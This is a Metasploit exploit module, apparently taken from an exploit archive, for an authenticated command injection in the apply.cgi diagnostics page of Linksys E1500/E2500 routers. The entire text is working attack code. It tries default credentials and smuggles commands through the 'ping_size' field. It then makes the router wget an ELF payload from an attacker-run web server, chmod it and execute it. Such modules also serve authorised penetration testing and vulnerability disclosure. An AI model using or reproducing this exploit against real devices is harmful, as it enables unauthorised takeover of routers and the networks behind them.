Linksys E1500/E2500 – ‘apply.cgi’ Remote Command Injection (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linksys E1500/E2500 apply.cgi Remote Command Injection', 'Description' => %q{ Some Linksys Routers are vulnerable to an authenticated OS command injection. Default credentials for the web interface are admin/admin or admin/password. Since it is a blind os command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes. }, 'Author' => [ 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '57760' ], [ 'EDB', '24475' ], [ 'OSVDB', '89912' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ] ], 'DisclosureDate' => 'Feb 05 2013', 'Privileged' => true, 'Platform' => ['linux','unix'], 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux mipsel Payload', { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 1, )) register_options( [ OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]), OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) ], self.class) end def request(cmd,user,pass,uri) begin res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'authorization' => basic_auth(user,pass), 'vars_post' => { "submit_button" => "Diagnostics", "change_action" => "gozila_cgi", "submit_type" => "start_ping", "action" => "", "commit" => "0", "ping_ip" => "1.1.1.1", "ping_size" => "&#{cmd}&", "ping_times" => "5", "traceroute_ip" => "" } }) return res rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return nil end end def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) uri = '/apply.cgi' user = datastore['USERNAME'] pass = datastore['PASSWORD'] rhost = datastore['RHOST'] rport = datastore['RPORT'] # # testing Login # print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end if target.name =~ /CMD/ if not (datastore['CMD']) fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") end return end #thx to Juan for his awesome work on the mipsel elf support @pl = generate_payload_exe @elf_sent = false # # start our server # resource_uri = '/' + downfile if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else #do not use SSL if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end #we use SRVHOST as download IP for the coming wget command. #SRVHOST needs a real IP address of our download host if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore end # # download payload # print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}") #this filename is used to store the payload on the device filename = rand_text_alpha_lower(8) #not working if we send all command together -> lets take three requests cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download if (datastore['DOWNHOST']) print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload") select(nil, nil, nil, datastore['HTTP_DELAY']) else wait_linux_payload end register_file_for_cleanup("/tmp/#{filename}") # # chmod # cmd = "chmod 777 /tmp/#{filename}" print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}") res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # # execute # cmd = "/tmp/#{filename}" print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}") res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end end # Handle incoming requests from the server def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end # wait for the data to be sent def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end end |